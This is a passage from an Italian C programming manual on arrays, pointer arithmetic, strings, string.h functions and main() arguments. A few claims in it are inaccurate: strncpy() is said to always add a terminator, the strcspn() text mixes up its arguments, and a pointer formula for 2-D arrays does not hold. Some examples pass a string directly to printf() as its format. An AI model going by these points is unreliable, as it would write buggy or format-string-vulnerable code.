int s = (sizeof a) / (sizeof (a[0]));
for (i = 0; i < s; i++)
  {
    …
    a[i] = …;
    …
  }
```

Il calcolo della quantità di elementi è ottenuto determinando la dimensione dell'array in byte e

dividendo tale valore per la dimensione in byte di un intero, ovvero per la dimensione di ogni elemento dell'array stesso.

Quando un array è argomento dell'operatore '**sizeof**', si ottiene la dimensione complessiva dell'array stesso (nell'unità gestita da '**sizeof**'. Tuttavia occorre considerare che, se l'array non è ancora stato definito nella sua dimensione, non si può avere il risultato atteso.

77.5.4 Array multidimensionali

Gli array in C sono monodimensionali, però nulla vieta di creare un array i cui elementi siano array tutti uguali. Per esempio, nel modo seguente, si dichiara un array di cinque elementi che a loro volta sono insiemi di sette elementi di tipo '**int**'. Nello stesso modo si possono definire array con più di due dimensioni.

```
int a[5][7];
```

L'esempio seguente mostra il modo normale di scandire un array a due dimensioni:

```
int a[5][7];
int i;
int j;
…
for (i = 0; i < 5; i++)
  {
    …
    for  (j = 0; j < 7; j++)
      {
        …
        a[i][j] = …;
        …
      }
    …
  }
```

Anche se in pratica un array a più dimensioni è solo un array «normale» in cui si individuano dei sottogruppi di elementi, la scansione deve avvenire sempre indicando formalmente lo stesso numero di elementi prestabiliti per le dimensioni rispettive, anche se dovrebbe essere possibile attuare qualche trucco. Per esempio, tornando al listato mostrato, se si vuole scandire in modo continuo l'array, ma usando un solo indice, bisogna farlo gestendo l'ultimo:

```
int a[5][7][9];
int j;
…
for (j = 0; j < (5 * 7 * 9); j++)
  {
    …
    a[0][0][j] = …;
    …
  }
```

Rimane comunque da osservare il fatto che questo non sia un bel modo di programmare.

Anche gli array a più dimensioni possono essere inizializzati, secondo una modalità analoga a quella usata per una sola dimensione, con la differenza che l'informazione sulla quantità di elementi per dimensione non può essere omessa. L'esempio seguente è un programma completo, in cui si dichiara e inizializza un array a due dimensioni, per poi mostrarne il contenuto:

```
#include <stdio.h>

int main (int argc, char *argv[])
{
  int a[3][4] = {{1,  2,  3,  4},
                 {5,  6,  7,  8},
                 {9, 10, 11, 12}};
  int i, j;

  for (i = 0; i < 3; i++)
    {
      for (j = 0; j < 4; j++)
        {
          printf ("a[%i][%i]=%i\t", i, j, a[i][j]);
        }
      printf ("\n");
    }

  return 0;
}
```

Il programma dovrebbe mostrare il testo seguente:

```
a[0][0]=1       a[0][1]=2       a[0][2]=3       a[0][3]=4
a[1][0]=5       a[1][1]=6       a[1][2]=7       a[1][3]=8
a[2][0]=9       a[2][1]=10      a[2][2]=11      a[2][3]=12
```

Anche nell'inizializzazione di un array a più dimensioni si possono omettere degli elementi, come nell'estratto seguente:

```
...
  int a[3][4] = {{1, 2},
                 {5, 6, 7, 8}};
...
```

In tal caso, il programma si mostrerebbe così:

```
a[0][0]=1       a[0][1]=2       a[0][2]=0       a[0][3]=0
a[1][0]=5       a[1][1]=6       a[1][2]=7       a[1][3]=8
a[2][0]=0       a[2][1]=0       a[2][2]=0       a[2][3]=0
```

Di certo, pur sapendo di voler utilizzare un array a più dimensioni, si potrebbe pretendere di inizializzarlo come se fosse a una sola, come nell'esempio seguente, ma il compilatore

dovrebbe avvisare del fatto:

```
…
  int a[3][4] = {1, 2, 3, 4, 5, 6,             // Così non è
                 7, 8, 9, 10, 11, 12};         // grazioso.
…
```

77.5.5 Natura dell'array

Inizialmente si è accennato al fatto che quando si crea un array, quello che viene restituito in pratica è un puntatore alla sua posizione iniziale, ovvero all'indirizzo del primo elemento di questo. Si può intuire che non sia possibile assegnare a un array un altro array, anche se ciò potrebbe avere significato. Al massimo si può assegnare elemento per elemento.

Per evitare errori del programmatore, la variabile che contiene l'indirizzo iniziale dell'array, quella che in pratica rappresenta l'array stesso, è in **sola lettura**. Quindi, nel caso dell'array già visto, la variabile ***a*** non può essere modificata, mentre i singoli elementi ***a[i]*** sì:

```
int a[7];
```

Data la filosofia del linguaggio C, se fosse possibile assegnare un valore alla variabile ***a***, si modificherebbe il puntatore, facendo in modo che questo punti a un array differente. Ma per raggiungere questo risultato vanno usati i puntatori in modo esplicito. Si osservi l'esempio seguente:

```
#include <stdio.h>

int main (void)
{
  int a[3];
  int *p;

  p = a;         // «p» diventa un alias dell'array «a».

  p[0] = 10;     // Si può fare solo con gli array
  p[1] = 100;    // a una sola dimensione.
  p[2] = 1000;   //

  printf ("%i %i %i \n",  a[0], a[1], a[2]);

  return 0;
}
```

Viene creato un array, ***a***, di tre elementi di tipo '**`int`**', e subito dopo una variabile puntatore, ***p***, al tipo '**`int`**'. Si assegna quindi alla variabile ***p*** il puntatore rappresentato da ***a***; da quel momento si può fare riferimento all'array indifferentemente con il nome ***a*** o ***p***.

Si può osservare anche che l'operatore '**`&`**', seguito dal nome di un array, produce ugualmente l'indirizzo dell'array che è equivalente a quello fornito senza l'operatore stesso, con la differenza che riguarda l'array nel suo complesso:

```
…
p = &a;        // I due puntatori non sono dello stesso tipo!
…
```

Pertanto, in questo caso si pone il problema di compatibilità del tipo di puntatore che si può risolvere con un cast esplicito:

```
…
p = (int *) &a;        // «p» diventa un alias dell'array «a».
…
```

In modo analogo, si può estrapolare l'indice che rappresenta l'array dal primo elemento, cosa che si ottiene senza incorrere in problemi di compatibilità tra i puntatori. Si veda la trasformazione dell'esempio nel modo seguente:

```
#include <stdio.h>

int main (void)
{
  int a[3];
  int *p;

  p = &a[0];     // «p» diventa un alias dell'array «a».

  p[0] = 10;     // Si può fare solo con gli array
  p[1] = 100;    // a una sola dimensione.
  p[2] = 1000;   //

  printf ("%i %i %i \n",  a[0], a[1], a[2]);

  return 0;
}
```

Anche se si può usare un puntatore come se fosse un array, va osservato che la variabile ***p***, in quanto dichiarata come puntatore, viene considerata in modo differente dal compilatore; per esempio non è possibile determinare la dimensione dell'array a cui punta attraverso l'operatore '**`sizeof`**', perché si otterrebbe semplicemente la quantità di byte che costituisce la variabile puntatore.

Quando si opera con array a più dimensioni, il riferimento a una porzione di array restituisce l'indirizzo della porzione considerata. Per esempio, si supponga di avere dichiarato un array a due dimensioni, nel modo seguente:

```
int a[3][2];
```

Se a un certo punto, in riferimento allo stesso array, si scrivesse '**`a[2]`**', si otterrebbe l'indirizzo del terzo gruppo di due interi:

a
a[0]
&a[0][0]
a[2]
&a[2][0]
a[0][0] a[0][1] a[1][0] a[1][1] a[2][0] a[2][1]

Tenendo d'occhio lo schema appena mostrato, considerato che si sta facendo riferimento all'array ***a*** di 3×2 elementi di tipo '**`int`**', va osservato che:

- in condizioni normali '**`a`**' si traduce nel puntatore a un array di due elementi di tipo '**`int`**';
- '**`a[0]`**' e '**`&a[0][0]`**' si traducono nel puntatore a un elemento di tipo '**`int`**' (precisamente il primo);
- '**`&a`**' si traduce nel puntatore a un array composto da 3×2 elementi di tipo '**`int`**'.

Pertanto, se questa volta si volesse assegnare a una variabile puntatore di tipo '**`int *`**' l'indirizzo iniziale dell'array, nell'esempio seguente si creerebbe un problema di compatibilità:

```
    ...
    int a[3][2];
    int *p;
    p = a;      // I due puntatori non sono dello stesso tipo!
    ...
```

Pertanto, occorrerebbe riferirsi all'inizio dell'array in modo differente oppure attraverso un cast.

77.5.6 Puntatori costanti

Si può far sì che un puntatore funzioni in modo più simile a quello di un array a una sola dimensione, dichiarando il puntatore come costante, nel senso che il puntatore in sé non può essere cambiato:

```
...
    int a[3];
    int *const p = a;  // Puntatore in sola lettura.
    p[1] = 9;
    p = a;              // Questo non si può!
...
```

L'esempio seguente, invece, fa sì che la memoria a cui si vuole accedere tramite il puntatore sia protetta in sola lettura:

```
…
    int a[3];
    const int *p = a;    // Qui è la memoria a essere in sola lettura.
    p[1] = 9;            // Questo non si può!
    p = a;
…
```

Anche se si può bloccare il puntatore, così da farlo funzionare in modo equivalente a un array vero e proprio, rimane però il fatto che '**`sizeof`**', usato per «misurare» un puntatore, restituisce comunque la grandezza della variabile che costituisce il puntatore stesso. Inoltre ci sono altre questioni che riguardano i puntatori, affrontate in una sezione separata, a proposito dell'aritmetica dei puntatori.

77.5.7 Array e funzioni

Si è visto che le funzioni possono accettare solo parametri composti da tipi di dati elementari, compresi i puntatori. In questa situazione, l'unico modo per trasmettere a una funzione un array attraverso i parametri, è quello di inviarne il puntatore iniziale. Di conseguenza, le modifiche che vengono poi apportate da parte della funzione si riflettono nell'array di origine. Si osservi l'esempio seguente:

```
#include <stdio.h>

void elabora (int *p)
{
    p[0] = 10;
    p[1] = 100;
    p[2] = 1000;
}

int main (void)
{
    int a[3];

    elabora (a);
    printf ("%i %i %i \n",  a[0], a[1], a[2]);

    return 0;
}
```

La funzione ***elabora()*** utilizza un solo parametro, rappresentato da un puntatore a un tipo '**`int`**'. La funzione **presume** che il puntatore si riferisca all'inizio di un array di interi e così assegna alcuni valori ai primi tre elementi (anche il numero degli elementi non può essere determinato dalla funzione).

All'interno della funzione ***main()*** viene dichiarato l'array ***a*** di tre elementi interi e subito dopo viene passato come argomento alla funzione ***elabora()***. Così facendo, in realtà si passa il puntatore al primo elemento dell'array.

Infine, la funzione altera gli elementi come è già stato descritto e gli effetti si possono osservare così:

```
10 100 1000
```

L'esempio potrebbe essere modificato per presentare la gestione dell'array in modo più elegante. Per la precisione si tratta di ritoccare la funzione '**`elabora`**':

```
void elabora (int a[])
{
    a[0] = 10;
    a[1] = 100;
    a[2] = 1000;
}
```

Si tratta sostanzialmente della stessa cosa, solo che si pone l'accento sul fatto che l'argomento è un array di interi, benché di tipo incompleto.

In entrambi i casi, se all'interno della funzione si tenta di misurare la dimensione dell'array con l'operatore '**`sizeof`**', si ottiene solo la grandezza della variabile usata per contenere il puntatore relativo. Sarebbe anche possibile specificare la dimensione dell'array, senza però che questo fatto abbia delle conseguenze significative e senza che '**`sizeof`**' la consideri:

```
void elabora (int a[3])          // Anche così sizeof restituisce
{                                // solo la grandezza del puntatore.
    a[0] = 10;
    a[1] = 100;
    a[2] = 1000;
}
```

77.5.8 Aritmetica dei puntatori

Con le variabili puntatore è possibile eseguire delle operazioni elementari: possono essere incrementate e decrementate. Il risultato che si ottiene è il riferimento a una zona di memoria adiacente, in funzione della dimensione del tipo di dati per il quale è stato creato il puntatore. Si osservi l'esempio seguente:

```
int i = 10;
int j;
int *p = &i;
p++;
j = *p;          // Attenzione!
```

In questo caso viene creato un puntatore al tipo '**`int`**' che inizialmente contiene l'indirizzo della variabile ***i***. Subito dopo questo puntatore viene incrementato di una unità e ciò comporta che si riferisca a un'area di memoria adiacente, immediatamente successiva a quella occupata dalla variabile ***i*** (molto probabilmente si tratta dell'area occupata dalla variabile ***j***). Quindi si tenta di copiare il valore di tale area di memoria, interpretato come '**`int`**', all'interno della variabile ***j***.

Se un programma del genere funziona nell'ambito di un sistema operativo che controlla l'utilizzo della memoria, se l'area che si tenta di raggiungere incrementando il puntatore non è stata allocata, si ottiene un «errore di segmentazione» e l'arresto del programma stesso. L'errore si verifica quando si tenta l'accesso, mentre la modifica del puntatore è sempre lecita.

Lo stesso meccanismo riguarda tutti i tipi di dati che non sono array, perché per gli array, l'incremento o il decremento di un puntatore riguarda i componenti dell'array stesso. In pratica, quando si gestiscono tramite puntatori, gli array sono da intendere come una serie di elementi dello stesso tipo e dimensione, dove, nella maggior parte dei casi, il nome dell'array si traduce nell'indirizzo del primo elemento:

```
int i[3] = { 1, 3, 5 };
int *p;
…
p = i;
```

Nell'esempio si vede che il puntatore ***p*** punta all'inizio dell'array di interi ***i[]***.

```
*p = 10; // Equivale a:  i[0] = 10.
p++;
*p = 30; // Equivale a:  i[1] = 30.
p++;
*p = 50; // Equivale a:  i[2] = 50.
```

Ecco che, incrementando il puntatore, si accede all'elemento adiacente successivo, in funzione della dimensione del tipo di dati. Decrementando il puntatore si ottiene l'effetto opposto, di accedere all'elemento precedente. La stessa cosa avrebbe potuto essere ottenuta così, senza alterare il valore contenuto nella variabile ***p***:

```
*(p + 0) = 10; // Equivale a:  i[0] = 10.
*(p + 1) = 30; // Equivale a:  i[1] = 30.
*(p + 2) = 50; // Equivale a:  i[2] = 50.
```

Inoltre, come già visto in altre sezioni, si potrebbe usare il puntatore con la stessa notazione propria dell'array, ma ciò solo perché si opera a una sola dimensione:

```
p[0] = 10; // Equivale a:  i[0] = 10.
p[1] = 30; // Equivale a:  i[1] = 30.
p[2] = 50; // Equivale a:  i[2] = 50.
```

Questo lascia intuire che '**i[*n*]**' corrisponda in pratica a '***(i + *n*)**', cosa che è vera per lo standard del linguaggio, ma potrebbe non essere accettabile dal compilatore che si usa effettivamente:

```
*(i + 0) = 10; // Equivale a:  i[0] = 10.
*(i + 1) = 30; // Equivale a:  i[1] = 30.
*(i + 2) = 50; // Equivale a:  i[2] = 50.
```

In presenza di più dimensioni, il ragionamento è analogo. Nel modello seguente, le lettere ***i*** e ***j*** rappresentano gli indici usati per la scansione, mentre le lettere ***I*** e ***J*** sono la quantità di

elementi della dimensione corrispondente. Per esempio, secondo il modello seguente, in un array ***x[10][30]***, la lettera ***J*** corrisponde a 30.

```
x[i][j] == *(x + (i * J) + j)
```

In modo analogo si dovrebbe procedere per dimensioni maggiori:

```
x[i][j][k] == *(x + (i*J*K) + (j*K) + k)
```

Se il compilatore non accetta questo modo di gestire un array, il meccanismo vale per un puntatore dello stesso tipo degli elementi dell'array (che punti all'inizio dell'array stesso). L'esempio seguente mette in evidenza l'uso di un puntatore per scandire un array a due dimensioni:

```
#include <stdio.h>

int main (int argc, char *argv[])
{

  int a[3][4] = {{1,  2,  3,  4},
                 {5,  6,  7,  8},
                 {9, 10, 11, 12}};
  int i, j;
  const int *p = (int *) a;
  int x;

  for (i = 0; i < 3; i++)
    {
      for (j = 0; j < 4; j++)
        {
          x = *(p + i * 4 + j);
          //
          printf ("a[%i][%i]=%i\t", i, j, x);
          //
        }
      printf ("\n");
    }

  return 0;
}
```

I punti più importanti dell'esempio appaiono evidenziati: trattandosi di un array a più di una dimensione, la copia del puntatore avviene con l'ausilio di un cast; la scansione degli indirizzi, a partire dal puntatore ***p*** avviene attraverso una formula, mentre la forma seguente ha un significato diverso, descritto in un'altra sezione, a proposito dei puntatori a puntatori:

```
...
        x = p[i][j];          // Non è la stessa cosa!
...
```

La versione funzionante dell'esempio mostrato deve fare apparire il testo seguente:

```
a[0][0]=1       a[0][1]=2       a[0][2]=3       a[0][3]=4
a[1][0]=5       a[1][1]=6       a[1][2]=7       a[1][3]=8
a[2][0]=9       a[2][1]=10      a[2][2]=11      a[2][3]=12
```

Naturalmente, quando si usano direttamente i puntatori, è compito esclusivo del programmatore sapere quando l'incremento o il decremento di un puntatore ha significato. Diversamente si rischia di accedere a zone di memoria estranee al contesto di proprio interesse, con risultati imprevedibili.

Prima di concludere l'argomento, vale la pena di tradurre il problema dell'aritmetica dei puntatori in modo opposto, ovvero come indirizzi. Per esempio, dato l'array *a[]*, a una sola dimensione, si può considerare equivalente la notazione '`&(a[i])`' rispetto a '`(a + i)`'.

77.5.9 Osservazioni sui puntatori

Ammesso che la variabile *p* sia un puntatore a qualcosa, la notazione **p* equivale a '`p[0]`', così come '`*(p+n)`' corrisponde '`p[n]`'. Pertanto, l'uso delle parentesi quadre contenenti un indice, poste dopo il nome di una variabile puntatore, corrisponde alla dereferenziazione che si fa con l'asterisco.

Ammesso che la variabile *p* sia un puntatore a qualcosa, la notazione '`&*p`' corrisponde sempre a '*p*', anche se si tratta di un puntatore nullo.

Ammesso che la variabile *x* sia tale da potervi assegnare un valore e che possa essere operando di '`&`', la notazione '`*&x`' corrisponde sempre a '*x*'.

Ammesso che la variabile *p* sia un puntatore a qualcosa, la notazione '`*(tipo)p`' individua un'area di memoria che parte dalla posizione indicata dal puntatore e si estende per la dimensione del tipo indicato. In altre parole, si tratta di un cast con il quale si trasforma il tipo di puntatore al volo. Ma per questo occorre mostrare un esempio:

```
#include <stdio.h>
int main (int argc, char *argv[])
{
  int x = 10;
  void *p = &x;
  printf ("%i\n", *(int *) p);
  return 0;
}
```

In questo caso, il puntatore *p* è di tipo indefinito ('`void`') e riceve l'indirizzo della variabile *x*. Successivamente, il valore a cui punta *p* viene usato all'interno della funzione ***printf()***, ma prima di essere dereferenziato, viene convertito in un puntatore di tipo '`int *`'.

77.5.10 Stringhe

Le stringhe, nel linguaggio C, non sono un tipo di dati a sé stante; si tratta solo di array di caratteri con una particolarità: l'ultimo carattere è sempre zero, ovvero una sequenza di bit a zero, che si rappresenta simbolicamente come carattere con '`\0`'. In questo modo, si evita di dover accompagnare le stringhe con l'informazione della loro lunghezza.

Pertanto, va osservato che una stringa è sempre un array di caratteri, ma un array di caratteri non è necessariamente una stringa, in quanto per esserlo occorre che l'ultimo elemento sia il carattere '`\0`'. Seguono alcuni esempi che servono a comprendere questa distinzione.

```
char c[20];
```

L'esempio mostra la dichiarazione di un array di caratteri, senza specificare il suo contenuto. Per il momento non si può parlare di stringa, soprattutto perché per essere tale, la stringa deve contenere dei caratteri.

```
char c[] = {'c', 'i', 'a', 'o'};
```

Questo esempio mostra la dichiarazione di un array di quattro caratteri. All'interno delle parentesi quadre non è stata specificata la dimensione perché questa si determina dall'inizializzazione. Anche in questo caso non si può ancora parlare di stringa, perché manca la terminazione.

```
char z[] = {'c', 'i', 'a', 'o', '\0'};
```

Questo esempio mostra la dichiarazione di un array di cinque caratteri corrispondente a una stringa vera e propria. L'esempio seguente è tecnicamente equivalente, solo che utilizza una rappresentazione più semplice:

```
char z[] = "ciao";
```

Pertanto, la stringa rappresentata dalla costante '**`"ciao"`**' è un array di cinque caratteri, perché, pur senza mostrarlo, include implicitamente anche la terminazione.

L'indicazione letterale di una stringa può avvenire attraverso sequenze separate, senza l'indicazione di alcun operatore di concatenamento. Per esempio, '**`"ciao amore\n"`**' è perfettamente uguale a '**`"ciao " "amore" "\n"`**' che viene inteso come una costante unica.

In un sorgente C ci sono varie occasioni di utilizzare delle stringhe letterali (delimitate attraverso gli apici doppi), senza la necessità di dichiarare l'array corrispondente. Però è importante tenere presente la natura delle stringhe per sapere come comportarsi con loro. Per prima cosa, bisogna rammentare che la stringa, anche se espressa in forma letterale, è un array di caratteri; come tale restituisce semplicemente il puntatore del primo di questi caratteri (salvo le stesse eccezioni che riguardano tutti i tipi di array).

```
char *p;
...
p = "ciao";
...
```

L'esempio mostra il senso di quanto affermato: non esistendo un tipo di dati «stringa», si può assegnare una stringa solo a un puntatore al tipo '**`char`**' (ovvero a una variabile di tipo '**`char *`**'). L'esempio seguente non è valido, perché non si può assegnare un valore alla variabile che rappresenta un array, dal momento che il puntatore relativo è un valore costante:

```
char z[];
…
z = "ciao";      // Non si può.
…
```

Quando si utilizza una stringa tra gli argomenti della chiamata di una funzione, questa riceve il puntatore all'inizio della stringa. In pratica, si ripete la stessa situazione già vista per gli array in generale.

```
#include <stdio.h>

void elabora (char *z)
{
  printf (z);
}

int main (void)
{
  elabora ("ciao\n");
  return 0;
}
```

L'esempio mostra una funzione banale che si occupa semplicemente di emettere la stringa ricevuta come parametro, utilizzando ***printf()***. La variabile utilizzata per ricevere la stringa è stata dichiarata come puntatore al tipo '**`char`**' (ovvero come puntatore di tipo '**`char *`**'), poi tale puntatore è stato utilizzato come argomento per la chiamata della funzione ***printf()***. Volendo scrivere il codice in modo più elegante si potrebbe dichiarare apertamente la variabile ricevente come array di caratteri di dimensione indefinita. Il risultato è lo stesso.

```
#include <stdio.h>

void elabora (char z[])
{
  printf (z);
}

int main (void)
{
  elabora ("ciao\n");
  return 0;
}
```

Tabella 77.203. Funzioni comuni per la gestione delle stringhe, definite nel file '`string.h`' (il modificatore '**`restrict`**' viene descritto in una sezione apposita).

Funzione	Descrizione
`char *strcpy (char *restrict` ***dst*****,** `const char *restrict` ***org*****);** `char *strncpy (char *restrict` ***dst*****,** `const char *restrict`***org*****,** `size_t` ***n*****);**	La funzione ***strcpy()*** copia il contenuto della stringa ***org*** nella stringa ***dst***, compreso il carattere di terminazione <*NUL*>. Perché l'operazione possa avvenire è necessario che le due stringhe non si sovrappongano e che per la stringa di destinazione ci sia abbastanza spazio per i caratteri da copiare. La funzione restituisce il puntatore all'inizio della stringa di destinazione. La funzione ***strncpy()*** si comporta sostanzialmente come ***strcpy()***, con la differenza che copia al massimo ***n*** caratteri, aggiungendo comunque il carattere di terminazione <*NUL*>.
`char *strcat (char *restrict` ***dst*****,** `const char *restrict` ***org*****);** `char *strncat (char *restrict` ***dst*****,** `const char *restrict` ***org*****,** `size_t` ***n*****);**	La funzione ***strcat()*** accoda alla stringa ***dst*** il contenuto della stringa ***org***, sovrascrivendo il carattere <*NUL*> che concludeva la prima stringa e aggiungendolo comunque alla fine della copia. Perché l'operazione possa avvenire è necessario che le due stringhe non si sovrappongano e, soprattutto, che ci sia abbastanza spazio disponibile dopo la prima stringa da estendere. La funzione restituisce il puntatore alla prima stringa. La funzione ***strncat()*** si comporta sostanzialmente come ***strcat()***, con la differenza che copia al massimo ***n*** caratteri dalla seconda stringa, aggiungendo comunque il carattere di terminazione <*NUL*>.
`int strcmp (const char *`***str_1*****,** `const char *`***str_2*****);** `int strcoll (const char *`***str_1*****,** `const char *`***str_2*****);** `int strncmp (const char *`***str_1*****,** `const char *`***str_2*****,** `size_t` ***n*****);**	La funzione ***strcmp()*** confronta due stringhe e restituisce zero nel caso siano uguali, oppure un valore minore di zero se la prima stringa è minore della seconda, oppure un valore maggiore di zero se la prima stringa è maggiore della seconda. La funzione ***strcoll()*** funziona sostanzialmente come ***strcmp()***, con la differenza che il confronto ha luogo tenendo conto della configurazione locale (precisamente la categoria '**`LC_COLLATE`**'). La funzione ***strncmp()*** si comporta sostanzialmente come ***strcmp()***, con la differenza che confronta al massimo ***n*** caratteri.

Funzione	Descrizione
`char *strchr (const char *str, int c);` `char *strrchr (const char *str, int c);`	La funzione ***strchr()*** cerca nella stringa ***str*** il carattere ***c*** (il carattere che si ottiene riducendo il valore di ***c*** a quello di un tipo '**`char`**'), includendo nella ricerca anche il carattere di terminazione <*NUL*>. La funzione restituisce un puntatore al carattere trovato, oppure restituisce il puntatore nullo se questo non c'è. La funzione ***strrchr()*** si comporta sostanzialmente come ***strchr()***, con la differenza che cerca l'ultima corrispondenza disponibile nella stringa.
`char *strpbrk (const char *str_1, const char *str_2);`	La funzione ***strpbrk()*** cerca nella stringa ***str_1*** la prima corrispondenza con uno qualsiasi dei caratteri contenuti nella stringa ***str_2***. Restituisce il puntatore al carattere trovato nella stringa ***str_1*** che soddisfi la condizione; se non trova alcuna corrispondenza restituisce il puntatore nullo.
`size_t strspn (const char *str_1, const char *str_2);` `size_t strcspn (const char *str_1, const char *str_2);`	La funzione ***strspn()*** conta la lunghezza massima della sottostringa iniziale di ***str_1*** che contiene soltanto caratteri dell'insieme contenuto nella stringa ***str_2***. La funzione ***strcspn()*** svolge il compito opposto, di contare la lunghezza massima della sottostringa iniziale di ***str_2***, contenente solo caratteri che **non** fanno parte dell'insieme contenuto in ***str_2***.
`size_t strlen (const char *str);`	La funzione ***strlen()*** restituisce la quantità di caratteri contenuta nella stringa, escluso il carattere di terminazione <*NUL*>.

All'inizio del capitolo, in occasione della descrizione delle costanti letterali per i tipi di dati primitivi, è già descritto il modo con cui si possono rappresentare alcuni caratteri speciali attraverso delle sequenze di escape che vengono annotate qui, nuovamente, per maggiore comodità del lettore, in quanto quelle sequenze sono valide anche nelle stringhe letterali.

Tabella 77.204. Elenco dei modi di rappresentazione delle costanti carattere attraverso codici di escape.

Codice di escape	Descrizione
`\`***ooo***	Notazione ottale.
`\x`***hh***	Notazione esadecimale.
`\\`	Una singola barra obliqua inversa ('****').

Codice di escape	Descrizione
`\'`	Un apice singolo destro.
`\"`	Un apice doppio.
`\?`	Un punto interrogativo. Si usa in quanto le sequenze *trigraph* sono formate da un prefisso di due punti interrogativi.
`\0`	Il codice <*NUL*>.
`\a`	Il codice <*BEL*> (*bell*).
`\b`	Il codice <*BS*> (*backspace*).
`\f`	Il codice <*FF*> (*formfeed*).
`\n`	Il codice <*LF*> (*linefeed*).
`\r`	Il codice <*CR*> (*carriage return*).
`\t`	Una tabulazione orizzontale (<*HT*>).
`\v`	Una tabulazione verticale (<*VT*>).

77.5.11 Parametri della funzione main()

La funzione ***main()***, se viene dichiarata con i suoi parametri tradizionali, permette di acquisire la riga di comando utilizzata per avviare il programma. La dichiarazione completa è la seguente:

```
int main (int argc, char *argv[])
{
  ...
}
```

Gli argomenti della riga di comando vengono convertiti in un array di stringhe (cioè di puntatori a '**`char`**'), in cui il primo elemento è il nome utilizzato per avviare il programma e gli elementi successivi sono gli altri argomenti. Il primo parametro, ***argc***, serve a contenere la quantità di elementi del secondo, ***argv[]***, il quale è l'array di stringhe da scandire. È il caso di annotare che questo array dovrebbe avere sempre almeno un elemento: il nome utilizzato per avviare il programma e, di conseguenza, ***argc*** è sempre maggiore o uguale a uno.[21]

L'esempio seguente mostra in che modo gestire tale array, con la semplice riemissione degli argomenti attraverso lo standard output.

```
#include <stdio.h>

int main (int argc, char *argv[])
{
  int i;

  printf ("Il programma si chiama %s\n", argv[0]);

  for (i = 1; i < argc; i++)
    {
      printf ("argomento n. %i: %s\n", i, argv[i]);
    }
}
```

In alternativa, ma con lo stesso effetto, l'array di puntatori a stringhe può essere definito nel modo seguente, come puntatore di puntatori a caratteri:

```
int main (int argc, char **argv)
{
  ...
}
```

Figura 77.208. Schematizzazione di ciò che accade alla chiamata della funzione ***main()***, con un esempio.

```
$ ls  -l  /home/tizio     [Invio]

argv[0]
argv[1]
argv[2]

è come se venissero
eseguite queste istruzioni
prima dell'avvio di main()

int argc = 3;
char *argv[argc];
argv[0] = "/bin/ls";
argv[1] = "-l";
argv[2] = "/home/tizio";
main (argc, argv);
```

Chi è abituato a utilizzare linguaggi di programmazione più evoluti del C, può trovare strano che non si possa scrivere '**`main (int argc, char argv[][])`**' e usare di conseguenza l'array. Il motivo per cui ciò non è possibile dipende dal fatto che gli array a più dimensioni sono ottenuti attraverso sottoinsiemi uniformi del tipo dichiarato, così, in questo caso le stringhe dovrebbero essere della stessa dimensione, ma evidentemente ciò non corrisponde alla realtà. Inoltre, la dichiarazione della funzione dovrebbe contenere le dimensioni dell'array che non possono essere note. Pertanto, un array formato da stringhe diseguali, può essere ottenuto solo come array di puntatori al tipo '**`char`**'.

77.5.12 Puntatori a puntatori

Una variabile puntatore potrebbe fare riferimento a un'area di memoria contenente a sua volta un puntatore per un'altra area. Per dichiarare una cosa del genere, si possono usare più asterischi, come nell'esempio seguente:

```
int i = 123;
int *p = &i;        // Puntatore al tipo "int".
int **pp = &p;      // Puntatore di puntatore al tipo "int".
int ***ppp = &pp;   // Puntatore di puntatore di puntatore al tipo "int".
```

Il risultato si potrebbe rappresentare graficamente come nello schema seguente:

int i = 123;
int *p = &i;
int **pp = &p;
int ***ppp = &pp;
123
i == *p
i == **pp
i == ***ppp

Per dimostrare in pratica il funzionamento di questo meccanismo di riferimenti successivi, si può provare con il programma seguente:

```
#include <stdio.h>
int main (void)
{
  int i = 123;
  int *p = &i;        // Puntatore al tipo "int".
  int **pp = &p;      // Puntatore di puntatore al tipo "int".
  int ***ppp = &pp;   // Puntatore di puntatore di puntatore al tipo "int".

  printf ("i, p, pp, ppp: %i, %u, %u, %u\n",
           i, (unsigned int) p, (unsigned int) pp, (unsigned int) ppp);

  printf ("i, p, pp, *ppp: %i, %u, %u, %u\n",
           i, (unsigned int) p, (unsigned int) pp, (unsigned int) *ppp);

  printf ("i, p, *pp, **ppp: %i, %u, %u, %u\n",
           i, (unsigned int) p, (unsigned int) *pp, (unsigned int) **ppp);

  printf ("i, *p, **pp, ***ppp: %i, %i, %i, %i\n",
           i, *p, **pp, ***ppp);

  return 0;
}
```

Eseguendo il programma si dovrebbe ottenere un risultato simile a quello seguente, dove si

può verificare l'effetto delle dereferenziazioni applicate alle variabili puntatore:

```
i, p, pp, ppp: 123, 3217933736, 3217933732, 3217933728
i, p, pp, *ppp: 123, 3217933736, 3217933732, 3217933732
i, p, *pp, **ppp: 123, 3217933736, 3217933736, 3217933736
i, *p, **pp, ***ppp: 123, 123, 123, 123
```

Pertanto si può ricostruire la disposizione in memoria delle variabili:

int i = 123;
int *p = &i;
int **pp = &p;
int ***ppp = &pp;
123
...933736
...933732
...933728
i == *p
i == **pp
i == ***ppp

Come si può comprendere facilmente, la gestione di puntatori a puntatore è difficile e va usata con prudenza e solo quando ne esiste effettivamente l'utilità. Va notato anche che si ottiene la dereferenziazione (la traduzione di un puntatore nel contenuto di ciò a cui punta) usando la notazione tipica degli array, ma questo fatto viene descritto nella sezione successiva.

77.5.13 Puntatori a più dimensioni

Un array di puntatori consente di realizzare delle strutture di dati ad albero, non più uniformi come invece devono essere gli array a più dimensioni consueti. L'esempio seguente mostra la dichiarazione di tre array di interi, con una quantità di elementi disomogenea, e la successiva dichiarazione di un array di puntatori di tipo '**int ***', a cui si assegnano i riferimenti ai tre array precedenti. Nell'esempio appare poi un tipo di notazione per accedere ai dati terminali che dovrebbe risultare intuitiva, ma se ne possono usare delle altre:

```
#include <stdio.h>

int main (void)
{
  int a[] = {1, 2, 3, 4};
  int b[] = {5, 6,};
  int c[] = {7, 8, 9};
  int *x[] = {a, b, c};

  printf ("*x[0] = {%i, %i, %i, %i}\n", *x[0], *(x[0]+1), *(x[0]+2),
                                         *(x[0]+3));
  printf ("*x[1] = {%i, %i}\n", *x[1], *(x[1]+1));
  printf ("*x[2] = {%i, %i, %i}\n", *x[2], *(x[2]+1), *(x[2]+2));
```

```
    return 0;
}
```

